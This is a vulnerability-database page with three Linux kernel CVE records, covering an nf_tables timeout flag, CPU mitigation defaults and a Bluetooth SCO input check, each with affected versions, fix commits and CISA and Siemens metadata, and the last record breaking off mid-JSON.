https://git.kernel.org/stable/c/16603605b667b70da…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < e4988d8415bd0294d6f9f4a1e7095f8b50a97ca9 (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < e9a0d3f376eb356d54ffce36e7cc37514cbfbd6f (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < fe40ffbca19dc70d7c6b1e3c77b9ccb404c57351 (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < 7cdc1be24cc1bcd56a3e89ac4aef20e31ad09199 (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < 72c1efe3f247a581667b7d368fff3bd9a03cd57a (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < c0c2176d1814b92ea4c8e7eb7c9cd94cd99c1b12 (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < 8e07c16695583a66e81f67ce4c46e94dece47ba7 (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < 16603605b667b70da974bea8216c93e7db043bf1 (git)
Linux	Linux	Affected: 4.1 Unaffected: 0 , < 4.1 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26642",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-03T17:43:46.916001Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:25.164Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:07:19.677Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e4988d8415bd0294d6f9f4a1e7095f8b50a97ca9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e9a0d3f376eb356d54ffce36e7cc37514cbfbd6f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fe40ffbca19dc70d7c6b1e3c77b9ccb404c57351"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7cdc1be24cc1bcd56a3e89ac4aef20e31ad09199"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/72c1efe3f247a581667b7d368fff3bd9a03cd57a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c0c2176d1814b92ea4c8e7eb7c9cd94cd99c1b12"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8e07c16695583a66e81f67ce4c46e94dece47ba7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/16603605b667b70da974bea8216c93e7db043bf1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:22.015Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e4988d8415bd0294d6f9f4a1e7095f8b50a97ca9",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "e9a0d3f376eb356d54ffce36e7cc37514cbfbd6f",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "fe40ffbca19dc70d7c6b1e3c77b9ccb404c57351",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "7cdc1be24cc1bcd56a3e89ac4aef20e31ad09199",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "72c1efe3f247a581667b7d368fff3bd9a03cd57a",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "c0c2176d1814b92ea4c8e7eb7c9cd94cd99c1b12",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "8e07c16695583a66e81f67ce4c46e94dece47ba7",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "16603605b667b70da974bea8216c93e7db043bf1",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.1"
            },
            {
              "lessThan": "4.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: disallow anonymous set with timeout flag\n\nAnonymous sets are never used with timeout from userspace, reject this.\nException to this rule is NFT_SET_EVAL to ensure legacy meters still work."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:01:21.131Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e4988d8415bd0294d6f9f4a1e7095f8b50a97ca9"
        },
        {
          "url": "https://git.kernel.org/stable/c/e9a0d3f376eb356d54ffce36e7cc37514cbfbd6f"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe40ffbca19dc70d7c6b1e3c77b9ccb404c57351"
        },
        {
          "url": "https://git.kernel.org/stable/c/7cdc1be24cc1bcd56a3e89ac4aef20e31ad09199"
        },
        {
          "url": "https://git.kernel.org/stable/c/72c1efe3f247a581667b7d368fff3bd9a03cd57a"
        },
        {
          "url": "https://git.kernel.org/stable/c/c0c2176d1814b92ea4c8e7eb7c9cd94cd99c1b12"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e07c16695583a66e81f67ce4c46e94dece47ba7"
        },
        {
          "url": "https://git.kernel.org/stable/c/16603605b667b70da974bea8216c93e7db043bf1"
        }
      ],
      "title": "netfilter: nf_tables: disallow anonymous set with timeout flag",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26642",
    "datePublished": "2024-03-21T10:43:43.495Z",
    "dateReserved": "2024-02-19T14:20:24.137Z",
    "dateUpdated": "2026-05-12T11:49:22.015Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35996 (GCVE-0-2024-35996)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:47 – Updated: 2026-05-12 11:53

Title

cpu: Re-enable CPU mitigations by default for !X86 architectures

Summary

In the Linux kernel, the following vulnerability has been resolved: cpu: Re-enable CPU mitigations by default for !X86 architectures Rename x86's to CPU_MITIGATIONS, define it in generic code, and force it on for all architectures exception x86. A recent commit to turn mitigations off by default if SPECULATION_MITIGATIONS=n kinda sorta missed that "cpu_mitigations" is completely generic, whereas SPECULATION_MITIGATIONS is x86-specific. Rename x86's SPECULATIVE_MITIGATIONS instead of keeping both and have it select CPU_MITIGATIONS, as having two configs for the same thing is unnecessary and confusing. This will also allow x86 to use the knob to manage mitigations that aren't strictly related to speculative execution. Use another Kconfig to communicate to common code that CPU_MITIGATIONS is already defined instead of having x86's menu depend on the common CPU_MITIGATIONS. This allows keeping a single point of contact for all of x86's mitigations, and it's not clear that other architectures *want* to allow disabling mitigations at compile-time.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/af6d6a923b40bf647…
https://git.kernel.org/stable/c/36b32816fbab26761…
https://git.kernel.org/stable/c/38f17d1fbb5bfb56c…
https://git.kernel.org/stable/c/8292f4f8dd1b005d0…
https://git.kernel.org/stable/c/fd8547ebc187037cc…
https://git.kernel.org/stable/c/fe42754b94a42d08c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 30da4180fd768973189dc364648f9c436e57b01d , < af6d6a923b40bf6471e44067ac61cc5814b48e7f (git) Affected: 70688450dddaf91e12fd4fc625da3297025932c9 , < 36b32816fbab267611f073223f1b0b816ec5920f (git) Affected: 9c09773917fbb77dff85b433e1e89123fc5fb530 , < 38f17d1fbb5bfb56ca1419e2d06376d57a9396f9 (git) Affected: 2978ee7c973ce81b6e51100ba1e5ae001af624b9 , < 8292f4f8dd1b005d0688d726261004f816ef730a (git) Affected: c4a9babdd5d5a41a74269a2e1aa1647b1b4c45bb , < fd8547ebc187037cc69441a15c1441aeaab80f49 (git) Affected: f337a6a21e2fd67eadea471e93d05dd37baaa9be , < fe42754b94a42d08cf9501790afc25c4f6a5f631 (git)
Linux	Linux	Affected: 5.15.156 , < 5.15.158 (semver) Affected: 6.1.87 , < 6.1.90 (semver) Affected: 6.6.28 , < 6.6.30 (semver) Affected: 6.8.7 , < 6.8.9 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35996",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T17:38:11.111508Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-17T17:40:17.312Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:12.399Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/af6d6a923b40bf6471e44067ac61cc5814b48e7f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/36b32816fbab267611f073223f1b0b816ec5920f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/38f17d1fbb5bfb56ca1419e2d06376d57a9396f9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8292f4f8dd1b005d0688d726261004f816ef730a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fd8547ebc187037cc69441a15c1441aeaab80f49"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fe42754b94a42d08cf9501790afc25c4f6a5f631"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:31.022Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/Kconfig",
            "arch/x86/Kconfig",
            "kernel/cpu.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "af6d6a923b40bf6471e44067ac61cc5814b48e7f",
              "status": "affected",
              "version": "30da4180fd768973189dc364648f9c436e57b01d",
              "versionType": "git"
            },
            {
              "lessThan": "36b32816fbab267611f073223f1b0b816ec5920f",
              "status": "affected",
              "version": "70688450dddaf91e12fd4fc625da3297025932c9",
              "versionType": "git"
            },
            {
              "lessThan": "38f17d1fbb5bfb56ca1419e2d06376d57a9396f9",
              "status": "affected",
              "version": "9c09773917fbb77dff85b433e1e89123fc5fb530",
              "versionType": "git"
            },
            {
              "lessThan": "8292f4f8dd1b005d0688d726261004f816ef730a",
              "status": "affected",
              "version": "2978ee7c973ce81b6e51100ba1e5ae001af624b9",
              "versionType": "git"
            },
            {
              "lessThan": "fd8547ebc187037cc69441a15c1441aeaab80f49",
              "status": "affected",
              "version": "c4a9babdd5d5a41a74269a2e1aa1647b1b4c45bb",
              "versionType": "git"
            },
            {
              "lessThan": "fe42754b94a42d08cf9501790afc25c4f6a5f631",
              "status": "affected",
              "version": "f337a6a21e2fd67eadea471e93d05dd37baaa9be",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/Kconfig",
            "arch/x86/Kconfig",
            "kernel/cpu.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.15.158",
              "status": "affected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThan": "6.1.90",
              "status": "affected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThan": "6.6.30",
              "status": "affected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThan": "6.8.9",
              "status": "affected",
              "version": "6.8.7",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "5.15.156",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "6.1.87",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "6.6.28",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "6.8.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpu: Re-enable CPU mitigations by default for !X86 architectures\n\nRename x86\u0027s to CPU_MITIGATIONS, define it in generic code, and force it\non for all architectures exception x86.  A recent commit to turn\nmitigations off by default if SPECULATION_MITIGATIONS=n kinda sorta\nmissed that \"cpu_mitigations\" is completely generic, whereas\nSPECULATION_MITIGATIONS is x86-specific.\n\nRename x86\u0027s SPECULATIVE_MITIGATIONS instead of keeping both and have it\nselect CPU_MITIGATIONS, as having two configs for the same thing is\nunnecessary and confusing.  This will also allow x86 to use the knob to\nmanage mitigations that aren\u0027t strictly related to speculative\nexecution.\n\nUse another Kconfig to communicate to common code that CPU_MITIGATIONS\nis already defined instead of having x86\u0027s menu depend on the common\nCPU_MITIGATIONS.  This allows keeping a single point of contact for all\nof x86\u0027s mitigations, and it\u0027s not clear that other architectures *want*\nto allow disabling mitigations at compile-time."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:17.480Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/af6d6a923b40bf6471e44067ac61cc5814b48e7f"
        },
        {
          "url": "https://git.kernel.org/stable/c/36b32816fbab267611f073223f1b0b816ec5920f"
        },
        {
          "url": "https://git.kernel.org/stable/c/38f17d1fbb5bfb56ca1419e2d06376d57a9396f9"
        },
        {
          "url": "https://git.kernel.org/stable/c/8292f4f8dd1b005d0688d726261004f816ef730a"
        },
        {
          "url": "https://git.kernel.org/stable/c/fd8547ebc187037cc69441a15c1441aeaab80f49"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe42754b94a42d08cf9501790afc25c4f6a5f631"
        }
      ],
      "title": "cpu: Re-enable CPU mitigations by default for !X86 architectures",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35996",
    "datePublished": "2024-05-20T09:47:59.713Z",
    "dateReserved": "2024-05-17T13:50:33.148Z",
    "dateUpdated": "2026-05-12T11:53:31.022Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35967 (GCVE-0-2024-35967)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:41 – Updated: 2026-05-12 11:53

Title

Bluetooth: SCO: Fix not validating setsockopt user input

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: SCO: Fix not validating setsockopt user input syzbot reported sco_sock_setsockopt() is copying data without checking user input length. BUG: KASAN: slab-out-of-bounds in copy_from_sockptr_offset include/linux/sockptr.h:49 [inline] BUG: KASAN: slab-out-of-bounds in copy_from_sockptr include/linux/sockptr.h:55 [inline] BUG: KASAN: slab-out-of-bounds in sco_sock_setsockopt+0xc0b/0xf90 net/bluetooth/sco.c:893 Read of size 4 at addr ffff88805f7b15a3 by task syz-executor.5/12578

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/b0e30c37695b614be…
https://git.kernel.org/stable/c/2c2dc87cdebef3fe3…
https://git.kernel.org/stable/c/7bc65d23ba20dcd7e…
https://git.kernel.org/stable/c/72473db90900da970…
https://git.kernel.org/stable/c/419a0ffca7010216f…
https://git.kernel.org/stable/c/51eda36d33e43201e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b96e9c671b05f95126753a22145d4509d45ca197 , < b0e30c37695b614bee69187f86eaf250e36606ce (git) Affected: b96e9c671b05f95126753a22145d4509d45ca197 , < 2c2dc87cdebef3fe3b9d7a711a984c70e376e32e (git) Affected: b96e9c671b05f95126753a22145d4509d45ca197 , < 7bc65d23ba20dcd7ecc094a12c181e594e5eb315 (git) Affected: b96e9c671b05f95126753a22145d4509d45ca197 , < 72473db90900da970a16ee50ad23c2c38d107d8c (git) Affected: b96e9c671b05f95126753a22145d4509d45ca197 , < 419a0ffca7010216f0fc265b08558d7394fa0ba7 (git) Affected: b96e9c671b05f95126753a22145d4509d45ca197 , < 51eda36d33e43201e7a4fd35232e069b2c850b01 (git)
Linux	Linux	Affected: 3.8 Unaffected: 0 , < 3.8 (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.178 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35967",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T17:01:27.722344Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:26.743Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.126Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b0e30c37695b614bee69187f86eaf250e36606ce"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7bc65d23ba20dcd7ecc094a12c181e594e5eb315"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/72473db90900da970a16ee50ad23c2c38d107d8c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/419a0ffca7010216f0fc265b08558d7394fa0ba7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/51eda36d33e43201e7a4fd35232e069b2c850b01"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:18.152Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/net/bluetooth/bluetooth.h",
            "net/bluetooth/sco.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b0e30c37695b614bee69187f86eaf250e36606ce",
              "status": "affected",
              "version": "b96e9c671b05f95126753a22145d4509d45ca197",
              "versionType": "git"
            },
            {
              "lessThan": "2c2dc87cdebef3fe3b9d7a711a984c70e376e32e",
              "status": "affected",
              "version": "b96e9c671b05f95126753a22145d4509d45ca197",
              "versionType": "git"
            },
            {
              "lessThan": "7bc65d23ba20dcd7ecc094a12c181e594e5eb315",
              "status": "affected",
              "version": "b96e9c671b05f95126753a22145d4509d45ca197",
              "versionType": "git"
            },
            {
              "lessThan": "72473db90900da970a16ee50ad23c2c38d107d8c",
              "status": "affected",
              "version": "b96e9c671b05f95126753a22145d4509d45ca197",
              "versionType": "git"
            },
            {
              "lessThan": "419a0ffca7010216f0fc265b08558d7394fa0ba7",
              "status": "affected",
              "version": "b96e9c671b05f95126753a22145d4509d45ca197",
              "versionType": "git"
            },
            {
              "lessThan": "51eda36d33e43201e7a4fd35232e069b2c850b01",
              "status": "affected",
              "version": "b96e9c671b05f95126753a22145d4509d45ca197",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/net/bluetooth/bluetooth.h",
            "net/bluetooth/sco.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.8"
            },
            {
              "lessThan": "3.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.178",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
